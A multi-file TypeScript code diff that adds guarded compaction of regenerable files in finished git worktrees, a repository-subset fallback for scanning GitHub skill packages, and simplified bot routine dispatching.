const WORKSPACE_COMPACTION_TRASH_STALE_MS = 60 * 60 * 1000;
|
||||
const WORKSPACE_COMPACTION_TRASH_PURGE_INTERVAL_MS = 30 * 60 * 1000;
|
||||
|
||||
export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServiceOptions = {}) {
|
||||
async function resolveSourceWorkspaceStrategy(input: {
|
||||
companyId: string; issueId?: string | null; assigneeAgentId?: string | null;
|
||||
@@ -1602,8 +1613,22 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
|
||||
// disables the cooldown.
|
||||
const workspaceReaperCooldownMs = Math.max(
|
||||
0,
|
||||
(opts.workspaceReaperCooldownDays ?? 7) * 24 * 60 * 60 * 1000,
|
||||
(opts.workspaceReaperCooldownDays ?? 1) * 24 * 60 * 60 * 1000,
|
||||
);
|
||||
const workspaceCompactionDelayMs = typeof opts.workspaceCompactionDelayMs === "number"
|
||||
? Math.max(0, opts.workspaceCompactionDelayMs)
|
||||
: null;
|
||||
// The latest terminal timestamp each workspace was compacted for. A workspace
|
||||
// is compacted once per terminal cycle: a resumed task can regenerate its
|
||||
// files, and the next terminal cycle compacts them again. The memo is only a
|
||||
// cache; after a restart compaction re-scans, finds nothing, and records it.
|
||||
const compactedTerminalAt = new Map<string, number>();
|
||||
const compactionTrashPurgedAt = new Map<string, number>();
|
||||
// Worktree parent directories whose trash a `compact: false` sweep skipped.
|
||||
// The next compacting sweep purges them first, because that sweep may have
|
||||
// archived the last workspace in a directory, and no later candidate would
|
||||
// reach it.
|
||||
const deferredCompactionTrashParents = new Set<string>();
|
||||
const pullRequestStateCache = new Map<
|
||||
string,
|
||||
{
|
||||
@@ -1717,7 +1742,7 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
|
||||
}
|
||||
let mergedPullRequest = false;
|
||||
let pullRequestStateUnknown = false;
|
||||
const workspaceHeadSha = git?.repoRoot && git.workspacePath
|
||||
const workspaceHeadSha = sourceIssueTerminal && git?.repoRoot && git.workspacePath
|
||||
? await runGit(["rev-parse", "HEAD"], git.workspacePath)
|
||||
.then((result) => result.stdout.trim() || null)
|
||||
.catch(() => null)
|
||||
@@ -1990,6 +2015,207 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
|
||||
});
|
||||
}
|
||||
|
||||
// Reads, inside the caller's transaction, whether compaction may touch the
|
||||
// workspace files right now: the issue tree is terminal, no queued or running
|
||||
// heartbeat run works on the tree or the workspace, and no runtime service
|
||||
// still runs from the worktree.
|
||||
async function terminalWorkspaceCompactionGuardPasses(tx: DbTransaction, workspace: ExecutionWorkspaceRow) {
|
||||
const rows = await tx.execute<{ allowed: boolean }>(sql`
|
||||
WITH RECURSIVE issue_tree(id, status) AS (
|
||||
SELECT root.id, root.status
|
||||
FROM ${issues} root
|
||||
WHERE root.company_id = ${workspace.companyId}
|
||||
AND root.id = ${workspace.sourceIssueId}
|
||||
UNION ALL
|
||||
SELECT child.id, child.status
|
||||
FROM ${issues} child
|
||||
JOIN issue_tree parent ON child.parent_id = parent.id
|
||||
WHERE child.company_id = ${workspace.companyId}
|
||||
)
|
||||
SELECT (
|
||||
EXISTS (SELECT 1 FROM issue_tree)
|
||||
AND NOT EXISTS (SELECT 1 FROM issue_tree WHERE status NOT IN ('done', 'cancelled'))
|
||||
AND NOT EXISTS (
|
||||
SELECT 1
|
||||
FROM ${issues} linked_issue
|
||||
JOIN ${heartbeatRuns} live_run
|
||||
ON live_run.id = linked_issue.checkout_run_id
|
||||
OR live_run.id = linked_issue.execution_run_id
|
||||
WHERE linked_issue.company_id = ${workspace.companyId}
|
||||
AND (
|
||||
linked_issue.execution_workspace_id = ${workspace.id}
|
||||
OR linked_issue.id IN (SELECT id FROM issue_tree)
|
||||
)
|
||||
AND live_run.company_id = ${workspace.companyId}
|
||||
AND live_run.status IN ('queued', 'running')
|
||||
)
|
||||
AND NOT EXISTS (
|
||||
SELECT 1
|
||||
FROM ${heartbeatRuns} issue_run
|
||||
WHERE issue_run.company_id = ${workspace.companyId}
|
||||
AND issue_run.status IN ('queued', 'running')
|
||||
AND coalesce(
|
||||
issue_run.native_issue_id::text,
|
||||
nullif(issue_run.context_snapshot->>'issueId', ''),
|
||||
nullif(issue_run.context_snapshot->>'taskId', '')
|
||||
) IN (SELECT id::text FROM issue_tree)
|
||||
)
|
||||
AND NOT EXISTS (
|
||||
SELECT 1
|
||||
FROM ${workspaceRuntimeServices} service
|
||||
WHERE service.company_id = ${workspace.companyId}
|
||||
AND service.execution_workspace_id = ${workspace.id}
|
||||
AND service.status <> 'stopped'
|
||||
)
|
||||
) AS allowed
|
||||
`);
|
||||
return rows[0]?.allowed === true;
|
||||
}
|
||||
|
||||
// Deletes compaction trash that an interrupted compaction or a failed delete
|
||||
// left beside a worktree. The sweep calls this for every worktree candidate,
|
||||
// independent of the per-cycle compaction memo, so leftover trash is found
|
||||
// after a restart and after a workspace has nothing left to compact. Each
|
||||
// worktree parent directory is checked at most once per interval.
|
||||
function deferCompactionTrashPurge(workspace: ExecutionWorkspaceRow) {
|
||||
const worktreePath = workspace.providerRef ?? workspace.cwd;
|
||||
if (workspace.providerType !== "git_worktree" || !worktreePath) return;
|
||||
if (deferredCompactionTrashParents.size >= 1024) return;
|
||||
deferredCompactionTrashParents.add(path.dirname(path.resolve(worktreePath)));
|
||||
}
|
||||
|
||||
// Checks the abort signal before each directory. A stopping server leaves the
|
||||
// unprocessed directories queued for the next sweep.
|
||||
async function purgeDeferredCompactionTrash(signal?: AbortSignal) {
|
||||
for (const parentDir of [...deferredCompactionTrashParents]) {
|
||||
signal?.throwIfAborted();
|
||||
deferredCompactionTrashParents.delete(parentDir);
|
||||
compactionTrashPurgedAt.set(parentDir, now().getTime());
|
||||
await purgeStaleWorkspaceCompactionTrash(parentDir, WORKSPACE_COMPACTION_TRASH_STALE_MS).catch((error) => {
|
||||
logger.warn({ err: error, parentDir }, "failed to purge stale workspace compaction trash");
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
async function purgeCompactionTrashIfDue(workspace: ExecutionWorkspaceRow) {
|
||||
const worktreePath = workspace.providerRef ?? workspace.cwd;
|
||||
if (workspace.providerType !== "git_worktree" || !worktreePath) return;
|
||||
const parentDir = path.dirname(path.resolve(worktreePath));
|
||||
const nowMs = now().getTime();
|
||||
const lastPurgedAt = compactionTrashPurgedAt.get(parentDir);
|
||||
if (lastPurgedAt !== undefined && nowMs - lastPurgedAt < WORKSPACE_COMPACTION_TRASH_PURGE_INTERVAL_MS) return;
|
||||
if (compactionTrashPurgedAt.size >= 1024) compactionTrashPurgedAt.delete(compactionTrashPurgedAt.keys().next().value!);
|
||||
compactionTrashPurgedAt.set(parentDir, nowMs);
|
||||
await purgeStaleWorkspaceCompactionTrash(parentDir, WORKSPACE_COMPACTION_TRASH_STALE_MS).catch((error) => {
|
||||
logger.warn({ err: error, parentDir }, "failed to purge stale workspace compaction trash");
|
||||
});
|
||||
}
|
||||
|
||||
// Removes regenerable files (installed dependencies, build output, tool
|
||||
// caches) from a terminal workspace. The workspace row stays active and the
|
||||
// worktree, its branch, its commits, and every tracked or untracked source
|
||||
// file stay in place, so a resumed task continues where it stopped and its
|
||||
// provisioning regenerates the removed files. This applies to workspaces the
|
||||
// reaper cannot archive: an undelivered branch, leftover files, or a workspace
|
||||
// still inside the archive cooldown.
|
||||
async function compactTerminalWorkspace(
|
||||
workspace: ExecutionWorkspaceRow,
|
||||
signal?: AbortSignal,
|
||||
): Promise<"compacted" | "nothing_to_compact" | "not_compactable" | "busy"> {
|
||||
const worktreePath = workspace.providerRef ?? workspace.cwd;
|
||||
if (
|
||||
workspace.providerType !== "git_worktree"
|
||||
|| workspace.mode === "shared_workspace"
|
||||
|| !workspace.sourceIssueId
|
||||
|| !worktreePath
|
||||
) {
|
||||
return "not_compactable";
|
||||
}
|
||||
if (!(await isLinkedGitWorktree(worktreePath))) return "not_compactable";
|
||||
const projectWorkspaceCwd = workspace.projectWorkspaceId
|
||||
? await db
|
||||
.select({ cwd: projectWorkspaces.cwd })
|
||||
.from(projectWorkspaces)
|
||||
.where(and(
|
||||
eq(projectWorkspaces.companyId, workspace.companyId),
|
||||
eq(projectWorkspaces.id, workspace.projectWorkspaceId),
|
||||
))
|
||||
.then((rows) => rows[0]?.cwd ?? null)
|
||||
: null;
|
||||
if (projectWorkspaceCwd && path.resolve(projectWorkspaceCwd) === path.resolve(worktreePath)) {
|
||||
return "not_compactable";
|
||||
}
|
||||
|
||||
const relativePaths = await findRegenerableWorkspaceDirs(worktreePath, { signal });
|
||||
if (relativePaths.length === 0) return "nothing_to_compact";
|
||||
|
||||
const snapshotGeneration = readExecutionWorkspaceLifecycleGeneration(
|
||||
workspace.metadata as Record<string, unknown> | null,
|
||||
);
|
||||
// Hold the lifecycle lock while the directories move. The guard runs before
|
||||
// the move and again after it, in the same transaction. A task that resumes
|
||||
// in between leaves the terminal state or starts a run first, so the second
|
||||
// check fails and the directories move back before anything is deleted.
|
||||
const move = await db.transaction(async (tx) => {
|
||||
await acquireExecutionWorkspaceLifecycleLock(tx, workspace.id);
|
||||
const [fresh] = await tx
|
||||
.select({
|
||||
status: executionWorkspaces.status,
|
||||
closedAt: executionWorkspaces.closedAt,
|
||||
metadata: executionWorkspaces.metadata,
|
||||
})
|
||||
.from(executionWorkspaces)
|
||||
.where(and(eq(executionWorkspaces.id, workspace.id), eq(executionWorkspaces.companyId, workspace.companyId)));
|
||||
const freshMetadata = (fresh?.metadata as Record<string, unknown> | null) ?? null;
|
||||
if (
|
||||
!fresh
|
||||
|| isClosedExecutionWorkspaceStatus(fresh.status)
|
||||
|| fresh.closedAt
|
||||
|| metadataHasReopenPendingConsumption(freshMetadata)
|
||||
|| readExecutionWorkspaceLifecycleGeneration(freshMetadata) !== snapshotGeneration
|
||||
|| !(await terminalWorkspaceCompactionGuardPasses(tx, workspace))
|
||||
) {
|
||||
return null;
|
||||
}
|
||||
const moved = await moveWorkspaceDirsToTrash(worktreePath, relativePaths);
|
||||
try {
|
||||
await opts.afterWorkspaceCompactionMove?.(workspace);
|
||||
if (!(await terminalWorkspaceCompactionGuardPasses(tx, workspace))) {
|
||||
await restoreWorkspaceDirsFromTrash(worktreePath, moved);
|
||||
await deleteWorkspaceCompactionTrash(moved.trashDir);
|
||||
return null;
|
||||
}
|
||||
} catch (error) {
|
||||
await restoreWorkspaceDirsFromTrash(worktreePath, moved);
|
||||
await deleteWorkspaceCompactionTrash(moved.trashDir);
|
||||
throw error;
|
||||
}
|
||||
return moved;
|
||||
});
|
||||
if (!move) return "busy";
|
||||
|
||||
await deleteWorkspaceCompactionTrash(move.trashDir).catch((error) => {
|
||||
logger.warn(
|
||||
{ err: error, executionWorkspaceId: workspace.id, trashDir: move.trashDir },
|
||||
"failed to delete compacted workspace files; a later compaction retries",
|
||||
);
|
||||
});
|
||||
if (move.moved.length === 0) return "nothing_to_compact";
|
||||
await logActivity(db, {
|
||||
companyId: workspace.companyId,
|
||||
actorType: "system",
|
||||
actorId: "workspace_terminality_reaper",
|
||||
action: "execution_workspace.regenerable_files_removed",
|
||||
entityType: "execution_workspace",
|
||||
entityId: workspace.id,
|
||||
details: {
|
||||
sourceIssueId: workspace.sourceIssueId,
|
||||
removedPaths: move.moved.map((entry) => entry.relativePath),
|
||||
},
|
||||
});
|
||||
return "compacted";
|
||||
}
|
||||
|
||||
async function cleanupTerminalWorkspace(
|
||||
workspace: ExecutionWorkspaceRow,
|
||||
expectedHeadSha: string | null,
|
||||
@@ -2581,6 +2807,12 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
|
||||
return null;
|
||||
},
|
||||
|
||||
getStoredById: async (companyId: string, id: string) => {
|
||||
const [row] = await db.select().from(executionWorkspaces).where(eq(executionWorkspaces.id, id));
|
||||
if (row && row.companyId !== companyId) throw forbidden("Task workspace access is no longer available");
|
||||
return row ? toExecutionWorkspace(row) : null;
|
||||
},
|
||||
|
||||
getById: async (id: string) => {
|
||||
const row = await db
|
||||
.select()
|
||||
@@ -2867,7 +3099,10 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
|
||||
};
|
||||
},
|
||||
|
||||
sweepTerminalWorkspaces: async (limit = 50, signal?: AbortSignal) => {
|
||||
// `compact: false` skips workspace compaction and compaction-trash deletion
|
||||
// for this sweep only. Pending compactions keep their deadlines, so a later
|
||||
// sweep runs them.
|
||||
sweepTerminalWorkspaces: async (limit = 50, signal?: AbortSignal, options: { compact?: boolean } = {}) => {
|
||||
// Skip this sweep while another sweep runs. A concurrent sweep would share
|
||||
// the cursor and the boundary and could corrupt the rotation state. A
|
||||
// skipped tick is safe: the next tick runs the sweep with intact state.
|
||||
@@ -2885,12 +3120,15 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
|
||||
skippedCooldown: 0,
|
||||
skippedBackoff: 0,
|
||||
clearedStaleReopenPending: 0,
|
||||
compacted: 0,
|
||||
compactionFailed: 0,
|
||||
};
|
||||
}
|
||||
const previousCursor = terminalSweepCursor;
|
||||
const previousBoundary = terminalSweepBoundary;
|
||||
terminalSweepInProgress = true;
|
||||
try {
|
||||
if (options.compact !== false) await purgeDeferredCompactionTrash(signal);
|
||||
const baseCandidateFilter = and(
|
||||
inArray(executionWorkspaces.status, ["active", "idle", "in_review"]),
|
||||
isNull(executionWorkspaces.closedAt),
|
||||
@@ -2954,11 +3192,17 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
|
||||
skippedCooldown: 0,
|
||||
skippedBackoff: 0,
|
||||
clearedStaleReopenPending: 0,
|
||||
compacted: 0,
|
||||
compactionFailed: 0,
|
||||
};
|
||||
const readinessByWorkingTree = new Map<string, ReturnType<typeof inspectGitCloseReadiness>>();
|
||||
|
||||
for (const workspace of candidates) {
|
||||
signal?.throwIfAborted();
|
||||
// Trash deletion is part of compaction, so a sweep that skips compaction
|
||||
// also leaves leftover trash for a later sweep.
|
||||
if (options.compact !== false) await purgeCompactionTrashIfDue(workspace);
|
||||
else deferCompactionTrashPurge(workspace);
|
||||
const issueTree = await listWorkspaceIssueTree(workspace);
|
||||
const sourceIssue = issueTree.find((issue) => issue.id === workspace.sourceIssueId);
|
||||
const reopenPending = metadataHasReopenPendingConsumption(
|
||||
@@ -2977,8 +3221,34 @@ export function executionWorkspaceService(db: Db, opts: ExecutionWorkspaceServic
|
||||
continue;
|
||||
}
|
||||
const latestTerminalAt = Math.max(...issueTree.map(issue => issueTerminalTimestamp(issue)!.getTime()));
|
||||
// Compaction runs once per terminal cycle, after its own delay and
|
||||
// before the archive cooldown, so a workspace the reaper cannot archive
|
||||
// yet (or ever) stops holding regenerable files.
|
||||
const compactionPending = workspaceCompactionDelayMs !== null
|
||||
&& !reopenPending
|
||||
&& compactedTerminalAt.get(workspace.id) !== latestTerminalAt;
|
||||
const compactionDueAt = latestTerminalAt + (workspaceCompactionDelayMs ?? 0);
|
||||
const archiveDueAt = latestTerminalAt + workspaceReaperCooldownMs;
|
||||
terminalWorkspaceDeadlines.set(workspace.id, reopenPending ? now().getTime()
|
||||
: latestTerminalAt + workspaceReaperCooldownMs);
|
||||
: compactionPending ? Math.min(compactionDueAt, archiveDueAt) : archiveDueAt);
|
||||
if (compactionPending && options.compact !== false && compactionDueAt <= now().getTime()) {
|
||||
try {
|
||||
const outcome = await compactTerminalWorkspace(workspace, signal);
|
||||
if (outcome === "compacted") result.compacted += 1;
|
||||
if (outcome !== "busy") {
|
||||
if (compactedTerminalAt.size >= 4096) compactedTerminalAt.delete(compactedTerminalAt.keys().next().value!);
|
||||
compactedTerminalAt.set(workspace.id, latestTerminalAt);
|
||||
terminalWorkspaceDeadlines.set(workspace.id, archiveDueAt);
|
||||
}
|
||||
} catch (error) {
|
||||
if (signal?.aborted) throw error;
|
||||
result.compactionFailed += 1;
|
||||
logger.warn(
|
||||
{ err: error, executionWorkspaceId: workspace.id, sourceIssueId: workspace.sourceIssueId },
|
||||
"terminal workspace compaction failed; a later sweep retries",
|
||||
);
|
||||
}
|
||||
}
|
||||
if (workspaceReaperCooldownMs > 0 && latestTerminalAt + workspaceReaperCooldownMs > now().getTime()) {
|
||||
result.skippedCooldown += 1;
|
||||
continue;
|
||||
|
||||
@@ -6,6 +6,7 @@ import { notFound, unprocessable } from '../errors.js';
|
||||
import { assertSkillSnapshotPath, snapshotFile, skillFileBytes } from './skill-snapshot.js';
|
||||
import { indexSkillPackagePaths, inspectSkillPackage } from './skill-package-inspection.js';
|
||||
import { auditSkillSnapshot, classifyInventoryKind } from './company-skills.js';
|
||||
import { skillRepositoryDependencies } from './skill-repository-dependencies.js';
|
||||
|
||||
import type { GitSkillSnapshot, GitSkillSnapshotOptions, GitSkillTreeEntry as TreeEntry } from './skill-source-git-snapshot.js';
|
||||
|
||||
@@ -17,7 +18,7 @@ export interface GitHubRead {
|
||||
readonly grantId?: string | null;
|
||||
}
|
||||
export type DiscoveredSkill = SkillSourceCandidate & { files: CompanySkillVersionFileInventoryEntry[] };
|
||||
export type ScannedSkillSource = SkillSourceDiscovery & { skills: DiscoveredSkill[]; defaultBranch: string; treeSha?: string; downloadBytes?: number; scanBytes?: number; repositoryFiles?: CompanySkillVersionFileInventoryEntry[] };
|
||||
export type ScannedSkillSource = SkillSourceDiscovery & { skills: DiscoveredSkill[]; defaultBranch: string; treeSha?: string; downloadBytes?: number; scanBytes?: number; repositoryFiles?: CompanySkillVersionFileInventoryEntry[]; repositorySubset?: boolean };
|
||||
const MAX_FILE_BYTES = 1024 * 1024;
|
||||
const MAX_SCAN_BYTES = 100 * 1024 * 1024;
|
||||
const MAX_SCAN_PACKAGES = 1_000;
|
||||
@@ -34,6 +35,7 @@ export interface SkillScanOptions {
|
||||
onProgress?: (event: SkillSourceScanUpdate) => void | Promise<void>;
|
||||
/** Discovery needs audited manifests, not the full contents retained for import. */
|
||||
retainFiles?: boolean;
|
||||
repositorySubset?: boolean;
|
||||
}
|
||||
|
||||
type SkillScanInput = { packageMode?: 'skills' | 'repository'; repositoryUrl: string; trackingRef?: string; commitSha?: string; onlySkillPath?: string };
|
||||
@@ -49,20 +51,15 @@ export async function scanGitHubSkillsWithPackageFallback(input: SkillScanInput,
|
||||
catch (error) {
|
||||
if (input.packageMode !== 'repository' || !(error instanceof Error) || !/^Repository package exceeds/.test(error.message)) throw error;
|
||||
options.signal?.throwIfAborted();
|
||||
const scan = await scanGitHubSkills({ ...input, packageMode: 'skills' }, providerRead, options);
|
||||
rejectIncompleteSkillPackages(scan);
|
||||
scan.warnings.push('Only skill packages were imported because the repository exceeds the supported package size.');
|
||||
return scan;
|
||||
}
|
||||
}
|
||||
|
||||
export function rejectIncompleteSkillPackages(scan: ScannedSkillSource): void {
|
||||
for (const skill of scan.skills) {
|
||||
if (!skill.error && skill.inspection?.references.length) {
|
||||
skill.error = 'This skill depends on files that its imported package cannot provide. Its dependencies could not be preserved. Import a supported repository package or include the dependencies in this skill package.';
|
||||
try {
|
||||
return await scanGitHubSkills(input, providerRead, { ...options, repositorySubset: true });
|
||||
} catch (subsetError) {
|
||||
if (!(subsetError instanceof Error) || !/^Repository package exceeds/.test(subsetError.message)) throw subsetError;
|
||||
const scan = await scanGitHubSkills({ ...input, packageMode: 'skills' }, providerRead, options);
|
||||
scan.warnings.push('Only skill folders were included because the repository and its referenced files exceed the supported package size. Missing references are listed below.');
|
||||
return scan;
|
||||
}
|
||||
}
|
||||
scan.candidates = scan.skills.map(({ files: _files, ...candidate }) => candidate);
|
||||
}
|
||||
|
||||
async function scanRepository(input: SkillScanInput, providerRead: GitHubRead, options: SkillScanOptions): Promise<ScannedSkillSource> {
|
||||
@@ -151,12 +148,32 @@ async function scanRepository(input: SkillScanInput, providerRead: GitHubRead, o
|
||||
if (declaredBytes > MAX_SCAN_BYTES) throw unprocessable('Skill packages exceed the 100 MB scan limit.');
|
||||
}
|
||||
const warnings = entries.filter(e => e.mode === '120000' || e.type === 'commit').map(e => `${e.path} — ${e.mode === '120000' ? 'Symlink' : 'Submodule'} couldn’t be included.`);
|
||||
const repositoryInventory = input.packageMode === 'repository' ? entries.filter(entry => entry.type !== 'tree') : null;
|
||||
const dependencyBlobs = new Map<string, Buffer>();
|
||||
let dependencyBytes = 0;
|
||||
const repositoryInventory = input.packageMode !== 'repository' ? null : options.repositorySubset
|
||||
? await skillRepositoryDependencies(entries, [...inventories.values()].flat(), selectedDirectories, async entry => {
|
||||
if ((entry.size ?? 0) > MAX_FILE_BYTES) return null;
|
||||
options.signal?.throwIfAborted();
|
||||
const bytes = dependencyBlobs.get(entry.sha) ?? await snapshot.readBlob(entry, options.signal);
|
||||
if (bytes.length > MAX_FILE_BYTES) return null;
|
||||
dependencyBytes += bytes.length;
|
||||
if (dependencyBytes > MAX_REPOSITORY_BYTES) throw unprocessable('Repository package exceeds the 61 MB runtime limit.');
|
||||
dependencyBlobs.set(entry.sha, bytes);
|
||||
return bytes;
|
||||
}, snapshot.readBlobs ? async pending => {
|
||||
options.signal?.throwIfAborted();
|
||||
const unread = pending.filter(entry => !dependencyBlobs.has(entry.sha) && (entry.size ?? 0) <= MAX_FILE_BYTES);
|
||||
if (unread.length) for (const [sha, bytes] of await snapshot.readBlobs!(unread, options.signal)) dependencyBlobs.set(sha, bytes);
|
||||
} : undefined) : entries.filter(entry => entry.type !== 'tree');
|
||||
if (repositoryInventory && repositoryInventory.length > MAX_REPOSITORY_FILES) throw unprocessable('Repository package exceeds the 9,990 file limit.');
|
||||
const readable = repositoryInventory?.filter(entry => entry.type === 'blob' && ['100644', '100755'].includes(entry.mode) && (entry.size ?? 0) <= MAX_FILE_BYTES);
|
||||
if (readable && readable.reduce((sum, entry) => sum + (entry.size ?? 0), 0) > MAX_REPOSITORY_BYTES) throw unprocessable('Repository package exceeds the 61 MB runtime limit.');
|
||||
// A single bounded batch supplies both skill manifests and support files.
|
||||
const blobs = readable && snapshot.readBlobs ? await snapshot.readBlobs(readable, options.signal) : new Map<string, Buffer>();
|
||||
const blobs = dependencyBlobs;
|
||||
if (readable && snapshot.readBlobs) {
|
||||
const remaining = readable.filter(entry => !blobs.has(entry.sha));
|
||||
if (remaining.length) for (const [sha, bytes] of await snapshot.readBlobs(remaining, options.signal)) blobs.set(sha, bytes);
|
||||
}
|
||||
let totalBytes = 0;
|
||||
const readBlob = async (entry: TreeEntry) => {
|
||||
if ((entry.size ?? 0) > MAX_FILE_BYTES) return null;
|
||||
@@ -217,6 +234,7 @@ async function scanRepository(input: SkillScanInput, providerRead: GitHubRead, o
|
||||
const inventory = repositoryInventory!;
|
||||
repositoryFiles = [];
|
||||
const packageWarnings = [...warnings];
|
||||
if (options.repositorySubset) packageWarnings.push('Only skill folders and referenced files were included because the repository exceeds the supported package size.');
|
||||
totalBytes = 0;
|
||||
Object.assign(progress, { currentPath: null, checkedFiles: 0, totalFiles: inventory.length });
|
||||
for (const entry of inventory) {
|
||||
@@ -272,7 +290,7 @@ async function scanRepository(input: SkillScanInput, providerRead: GitHubRead, o
|
||||
if (skill.inspection) skill.inspection.references = skill.inspection.references.filter(ref => !included.has(ref.resolvedPath));
|
||||
}
|
||||
}
|
||||
return { treeSha: snapshot.treeSha, downloadBytes: snapshot.downloadBytes,
|
||||
return { treeSha: snapshot.treeSha, downloadBytes: snapshot.downloadBytes, ...(options.repositorySubset ? { repositorySubset: true } : {}),
|
||||
scanBytes: Math.min(MAX_SCAN_BYTES, snapshot.entries.reduce((sum, entry) => sum + (entry.type === 'blob' ? entry.size ?? MAX_SCAN_BYTES : 0), 0)),
|
||||
...(input.packageMode ? { packageMode: input.packageMode } : {}), ...(repositoryPackage ? { repositoryPackage } : {}),
|
||||
...(repositoryFiles && options.retainFiles !== false ? { repositoryFiles } : {}),
|
||||
@@ -283,7 +301,7 @@ async function scanRepository(input: SkillScanInput, providerRead: GitHubRead, o
|
||||
|
||||
/** Reauthorize the caller and re-audit the selected package; never trust a client-supplied manifest. */
|
||||
export async function previewGitHubSkillFile(input: SkillSourcePreviewRequest, read: GitHubRead): Promise<SkillSourceFilePreview> {
|
||||
const scan = await scanGitHubSkills({ ...input, onlySkillPath: input.skillPath }, read);
|
||||
const scan = await scanGitHubSkillsWithPackageFallback({ ...input, onlySkillPath: input.skillPath }, read);
|
||||
if (scan.commitSha.toLowerCase() !== input.commitSha.toLowerCase()) throw unprocessable('The preview commit did not match the requested snapshot.');
|
||||
const skill = scan.skills.find(candidate => candidate.path === input.skillPath);
|
||||
if (!skill) throw notFound('Skill package not found at this commit.');
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { and, asc, eq, isNull, isNotNull, lt, sql } from "drizzle-orm";
|
||||
import { grokBotDispatches, grokBotRoutines, dotAgentBindings, dotRunnerAssignments, dotRunnerOperations, dotMailboxItems, heartbeatRuns, type Db } from "@paperclipai/db";
|
||||
import { and, asc, eq, isNull, lt, sql } from "drizzle-orm";
|
||||
import { grokBotDispatches, grokBotRoutines, dotAgentBindings, dotRunnerAssignments, heartbeatRuns, type Db } from "@paperclipai/db";
|
||||
import { grokRoutineService } from "./routine.js";
|
||||
import type { deliverGrokRoutineWake } from "./webhook.js";
|
||||
import { externalBotEnabled } from "../external-bot-authority.js";
|
||||
@@ -25,43 +25,9 @@ export function createGrokRoutineDispatcher(db: Db, isBackgroundWorkEnabled: ()
|
||||
try { await service.reserve({ companyId: assignment.companyId, agentId: assignment.agentId, bindingId: assignment.bindingId,
|
||||
assignmentId: assignment.id, kind: "mailbox_updated", sourceEventId: `proactive-admission:${assignment.id}` }); } catch { /* Current authority is rechecked on reservation and send. */ }
|
||||
}
|
||||
// Comments and their deferred wake commit independently of egress.
|
||||
// Discover committed, unread input here; recovery never erases feedback.
|
||||
const followUps = await db.select({ item: dotMailboxItems, assignment: dotRunnerAssignments }).from(dotMailboxItems)
|
||||
.innerJoin(dotRunnerAssignments, and(eq(dotRunnerAssignments.id, dotMailboxItems.assignmentId),
|
||||
eq(dotRunnerAssignments.bindingGeneration, dotMailboxItems.bindingGeneration)))
|
||||
.innerJoin(dotAgentBindings, eq(dotAgentBindings.id, dotRunnerAssignments.bindingId))
|
||||
.where(and(eq(dotAgentBindings.providerKind, "grok_bot"), isNull(dotAgentBindings.revokedAt),
|
||||
eq(dotMailboxItems.kind, "follow_up"), eq(dotRunnerAssignments.status, "accepted"),
|
||||
sql`coalesce(${dotMailboxItems.references}->>'consumed', 'false') <> 'true'`,
|
||||
sql`not exists (select 1 from ${grokBotDispatches} where ${grokBotDispatches.assignmentId} = ${dotRunnerAssignments.id} and ${grokBotDispatches.status} in ('prepared', 'sending', 'accepted', 'unknown'))`,
|
||||
sql`not exists (select 1 from ${grokBotDispatches} where ${grokBotDispatches.bindingId} = ${dotRunnerAssignments.bindingId} and ${grokBotDispatches.sourceEventId} = ${dotMailboxItems.sourceEventId})`))
|
||||
.orderBy(asc(dotMailboxItems.id)).limit(20);
|
||||
const feedbackAssignments = new Set<string>();
|
||||
for (const { item, assignment } of followUps) {
|
||||
if (feedbackAssignments.has(assignment.id)) continue;
|
||||
feedbackAssignments.add(assignment.id);
|
||||
try { await service.reserve({ companyId: assignment.companyId, agentId: assignment.agentId, bindingId: assignment.bindingId,
|
||||
assignmentId: assignment.id, kind: "mailbox_updated", sourceEventId: item.sourceEventId }); } catch { /* The durable comment/wake remains queued behind recovery or current authority. */ }
|
||||
}
|
||||
const results = await db.select({ operation: dotRunnerOperations, assignment: dotRunnerAssignments }).from(dotRunnerOperations)
|
||||
.innerJoin(dotRunnerAssignments, eq(dotRunnerAssignments.id, dotRunnerOperations.assignmentId))
|
||||
.innerJoin(dotAgentBindings, eq(dotAgentBindings.id, dotRunnerAssignments.bindingId))
|
||||
.innerJoin(grokBotRoutines, eq(grokBotRoutines.bindingId, dotAgentBindings.id))
|
||||
.where(and(eq(dotAgentBindings.providerKind, "grok_bot"), isNull(dotAgentBindings.revokedAt), eq(dotRunnerAssignments.status, "accepted"),
|
||||
lt(grokBotRoutines.lastContactAt, new Date(Date.now() - 15_000)),
|
||||
sql`not exists (select 1 from ${grokBotDispatches} where ${grokBotDispatches.assignmentId} = ${dotRunnerAssignments.id} and ${grokBotDispatches.status} in ('prepared', 'sending', 'accepted', 'unknown'))`,
|
||||
sql`not exists (select 1 from ${grokBotDispatches} where ${grokBotDispatches.sourceEventId} = 'operation-result:' || ${dotRunnerOperations.id}::text and ${grokBotDispatches.bindingId} = ${dotRunnerAssignments.bindingId})`,
|
||||
eq(dotRunnerOperations.status, "completed"), isNotNull(dotRunnerOperations.pendingReturnedAt), isNull(dotRunnerOperations.observedAt),
|
||||
lt(dotRunnerOperations.pendingReturnedAt, new Date(Date.now() - 5_000)))).limit(20);
|
||||
const notifiedAssignments = new Set<string>();
|
||||
for (const { operation, assignment } of results) {
|
||||
if (notifiedAssignments.has(assignment.id)) continue;
|
||||
notifiedAssignments.add(assignment.id);
|
||||
if (operation.command.action !== "tool") continue;
|
||||
try { await service.reserve({ companyId: assignment.companyId, agentId: assignment.agentId, bindingId: assignment.bindingId,
|
||||
assignmentId: assignment.id, kind: "mailbox_updated", sourceEventId: `operation-result:${operation.id}` }); } catch { /* Never change a receipt or replay the tool. */ }
|
||||
}
|
||||
// An accepted session already has a routine handling it. Quiet MCP
|
||||
// traffic does not prove that routine ended. Keep feedback and receipts
|
||||
// durable for the Bot to read instead of starting overlapping work.
|
||||
const rows = await db.select({ dispatch: grokBotDispatches, agentId: grokBotRoutines.agentId }).from(grokBotDispatches)
|
||||
.innerJoin(grokBotRoutines, and(eq(grokBotRoutines.id, grokBotDispatches.routineId), eq(grokBotRoutines.companyId, grokBotDispatches.companyId)))
|
||||
